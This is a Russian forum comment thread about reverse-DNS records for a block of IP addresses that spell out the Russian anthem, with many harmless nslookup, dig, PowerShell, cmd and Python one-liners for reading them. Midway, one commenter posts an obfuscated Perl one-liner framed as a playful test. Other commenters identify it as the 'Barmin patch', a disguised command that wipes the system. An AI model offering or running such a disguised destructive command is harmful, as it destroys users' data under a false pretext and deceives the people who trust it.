Как стать автором
Обновить

Комментарии 84

В дебиане не отработало, греп выругался на -P. Так что вариант попроще:

for i in {200..225}; do nslookup 62.76.96.$i | grep name | awk '{print $4}'; done
Ещё вариант:

for i in {200..225}; do dig +short $i.96.76.62.in-addr.arpa ptr; done
Или даже так:

dig -t ptr +short {200..225}.96.76.62.in-addr.arpa
дебиан тестинг, первый вариант нормально отработал
А что за Sirius-Project?
ребята, отнеситесь с пониманием, не минусуйте — дайте человеку возможность перенести пост в хабраюмор :)
MacOS отработало на 5 :)
а мне выдало -bash: syntax error near unexpected token `do'
:(
А зачем же вы, товарищ, вставляете в терминал код с символом $? :)
тьфу.
бес попутал осреди ночи.)
а вот вариант в первом комментарии отработал)
очень забавно)
Если кто-то из закоренелых виндузятников, таких как я, не врубился в прикол, то вот вариант для PowerShell

for ($i=200; $i -le 225; $i++){nslookup 62.76.96.$i}
А если уже быть совсем задротомэстетом, то я написал вот такой вариант.
Правда, в нём не очень ясно, откуда прикол, зато выглядит красивее.

for ($i=200; $i -le 223; $i++){(nslookup 62.76.96.$i)[3].ToString().Replace('.', ' ').Substring(9)}

Ещё раз, это — для PowerShell в Windows
Для виндузятников, у которых нет PowerShell'a можно сделать так
for /l %i in (200,1,255) do nslookup 62.76.96.%i
223
Ящитаю надо так:
@cls & @for /l %i in (200,1,223) do @(nslookup 62.76.96.%i & ping -n 4 127.0.0.1>nul & cls)
Если это в батник записать, то %i надо заменить на %%i.
Вот как надо:

@echo off & (for /l %z in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%z`) do echo %a %b %c %d %e %f %g %h %i|findstr /RV "[0-9]") & echo on
НЛО прилетело и опубликовало эту надпись здесь
Не парсер лох, а тег <code> надо использовать.
for /L %i in (200, 1, 223) do @for /F «tokens=1* delims= » %A in ('nslookup 62.76.96.%i ^| find «Name:»') do @echo %B
Можно сократить до

200..225|% {nslookup 62.76.96.$_}

Но для повышения читаемости лучше сделать хотя бы

200..225|% {nslookup 62.76.96.$_}|select-string "^Name:"

Или вообще так:
200..225 |% {[net.dns]::GetHostByAddress(«62.76.96.$_»).hostname}
А это как так? А? =)
Бывают в мире джипы с наклейками: «Срал я на экономию топлива».
А тут у чувака на DNS наклейка: «Срал я на то, что у всего мира закончились Ipv4 адреса»
а какое отношение имеет обратный резолв к экономии ip-адресов, я хочу сказать что не смотря на то что у этих адресов такой забавный бекрезолв, они могут еффективно использоваться, для доказательства того что адреса используются не продуктивно информации не достаточно.
всего лишь 25 адресов потрачено,
и то, в Интернет они не анонсируются

а в то же время, московские домосети получают свой уже не первый /19, а чуть менее, чем все, являются lir :)
и после этого вы говорите о растрате ipv4?
Только один куплет должно выдать? :)
Все 3 куплета выдаёт.
Для тех у кого стоит BolgenOS с предустановленным Питоном Попова увидеть прикол можно так: pastie.org/1002152 xD
Для тех, кто не понял… =)
io ~ # for i in {200..225}; do nslookup 62.76.96.$i | grep name | awk '{print $4}'; done                              Rossija.svjashhennaja.nasha.derzhava.
ns.sirius-p.ru.
ns.sirip.net.
Rossija.ljubimaja.nasha.strana.
ns.sirip.net.
ns.sirius-p.ru.
Moguchaja.volja.velikaja.slava.
ns.sirius-p.ru.
ns.sirip.net.
Tvojo.dostojanie.na.vse.vremena.
ns.sirip.net.
ns.sirius-p.ru.
Slavsja.Otechestvo.nashe.svobodnoe.
ns.sirius-p.ru.
ns.sirip.net.
Bratskikh.narodov.sojuz.vekovojj.
ns.sirius-p.ru.
ns.sirip.net.
Predkami.dannaja.mudrost.narodnaja.
ns.sirip.net.
ns.sirius-p.ru.
Slavsja.strana.My.gordimsja.tobojj.
ns.sirip.net.
ns.sirius-p.ru.
Ot.juzhnykh.morejj.do.poljarnogo.kraja.
ns.sirius-p.ru.
ns.sirip.net.
Raskinulis.nashi.lesa.i.polja.
ns.sirius-p.ru.
ns.sirip.net.
Odna.ty.na.svete.Odna.ty.takaja.
ns.sirip.net.
ns.sirius-p.ru.
Khranimaja.Bogom.rodnaja.zemlja.
ns.sirius-p.ru.
ns.sirip.net.
Slavsja.Otechestvo.nashe.svobodnoe.
ns.sirip.net.
ns.sirius-p.ru.
Bratskikh.narodov.sojuz.vekovojj.
ns.sirip.net.
ns.sirius-p.ru.
Predkami.dannaja.mudrost.narodnaja.
ns.sirip.net.
ns.sirius-p.ru.
Slavsja.strana.My.gordimsja.tobojj.
ns.sirip.net.
ns.sirius-p.ru.
Shirokijj.prostor.dlja.mechty.i.dlja.zhizni.
ns.sirius-p.ru.
ns.sirip.net.
Grjadushhie.nam.otkryvajut.goda.
ns.sirius-p.ru.
ns.sirip.net.
Nam.silu.dajot.nasha.vernost.Otchizne.
ns.sirip.net.
ns.sirius-p.ru.
Tak.bylo.tak.est.i.tak.budet.vsegda.
ns.sirius-p.ru.
ns.sirip.net.
Slavsja.Otechestvo.nashe.svobodnoe.
ns.sirip.net.
ns.sirius-p.ru.
Bratskikh.narodov.sojuz.vekovojj.
ns.sirip.net.
ns.sirius-p.ru.
Predkami.dannaja.mudrost.narodnaja.
ns.sirius-p.ru.
ns.sirip.net.
Slavsja.strana.My.gordimsja.tobojj.
ns.sirius-p.ru.
ns.sirip.net.
io ~ #
Почему из-под рута?
Я вот вообще не понял ничего :)
банальный резолв на каждый IP адрес )
понятное дело, что в обратную сторону это работать не будет.

вообщем, порадовало!
А можно как-то спикером прожужжать мелодию?
Можно festival'ем это все прочитать
Могу только вот это предложить (for Linux)

beep -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 250 -f 622.26 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 466.16 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 587.32 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 300 -f 392.00 -D 150 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 392
Неннееее, неее, я на повершелл переводить это не буду! Даже не уговаривайте! Но! Всё же это отличный вызов! Я реализовал его так:

Гимн Российской Федерации!
Исполняет: Windows Media Player 12
Оркестр: PowerShell ISE, Windows 7 Ultimate

Ноты:
Set-Location $HOME
$client = New-Object System.Net.WebClient
$client.DownloadFile(«gimnrf.narod.ru/russian_hymn.mp3», «hymh.mp3»)
.\hymh.mp3
А чё оно пропищало то? А то сервер в стойке стоит в датацентре :)
you made my day. Спасибо.
Представляю реакцию обслуживающего персонала =)
Ага, с учетом того, что ДЦ находится в Киеве.
Восстание машин, как оно есть.
Не скажу. Так неинтересно будет. :)
а у меня пищалки нет.)))
Больше похоже на тему звездных войн, а не гимна РФ
Капитан какбэ намекает, что это она и есть.
Извините за моветон, но тут описано как-что настроить в убунте и как проиграть гимн ;)
психи, ёмоё!!!
DNS-гимн
Почитал. Какой-то он странный. Меня в школе учили совсем другому тексту: Союз нерушимый республик свободных сплотила на веки великая Русь

Откуда эта самодеятельность?
Вас учили гимну СССР, сейчас несколько другая страна и другой гимн. Как вы это пропустили? ;)
Там эти гимны менялись как перчатки.
Каждые десять лет меняют? Скоро следующая замена планируется, или как?
Не ко мне вопрос. Но за 10 можно было бы узнать какой у нас в стране гимн.
Ну узнаю. И? Потом опять поменяют. Снова учить?
Вы просите вам посоветовать? Решите сами, учить вам его или нет. Раз в 10 лет можно и поучить.

Я бы посоветовал вам участвовать в жизни страны хотя бы на том уровне, чтобы актуальная символика не казалась вам незнакомой.
Что поменяется в стране о того, что я буду знать «актуальную в настоящий момент символику» (что там Пелевин про… м… представителей сексуальных меньшинств писал? Насчёт «актуальных»).

Я предпочитаю не зубрить очередную ахинею, а заниматься своим делом. И по мере возможности не давать взятки и откаты, не ездить на красный свет… Или актуальная символика важнее?
Тогда почему удивляетесь тому, что не гимн сменился, если вам на это глубоко параллельно?
Если уж писать на Windows CMD, то вот:

@echo off & for /l %i in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%i`) do echo %a %b %c %d %e | findstr /RV "[0-9]"
Ага, там, оказывается, может быть больше слов в строке. Тогда вот вариант:

@echo off & for /l %z in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%z`) do echo %a %b %c %d %e %f %g %h %i | findstr /RV "[0-9]"
С украшательствами:
Ссылка: russia. Чтобы работало в батнике — заменить % на %% (т.е. вместо %i будет %%i)
Вырвиглаз :)
переведите лучше пищалку мелодии, что выше выложили для винды :)
Вот кому-то делать нечего!
НЛО прилетело и опубликовало эту надпись здесь
Пропевать не успевал, пришлось паузу добавить
for /l %i in (200,1,223) do nslookup 62.76.96.%i & pause
DNS-караоке?
чьи это айпишники? кого это я нечаянно заддосил?
Если под DDoS'ом вы имеет ввиду ресолв адреса, то ты «заддосили» DNS-сервер своего провайдера или кто у вас там в resolv.conf/чтотамподвиндой прописан.
Теперь я понял задумку автора: адски распространить гимн России по всему миру в автоматическом режиме.
Ну, тут уж сам бог велел:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
не печатает =(
Люди, кто далёк. Просто не вводите ни куда.
Я догадываюсь что оно делает что-то плохое, но вот что не знаю. Подскажете?
А, всё, отставить. Нашел, довольно жестоко.
Я знал, что кто-то выложит патч Бармина…
foreach(range(200, 223) as $i){$h = gethostbyaddr("62.76.96.$i");echo $h.'<br&gt';}
Теперь Python:
from socket import gethostbyaddr
for i in range(200, 223):
print gethostbyaddr('62.76.96.'+str(i))[0]
Выложите однострочник на перле ;)
Изнасилование IPv4 адресов с российским размахом
Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.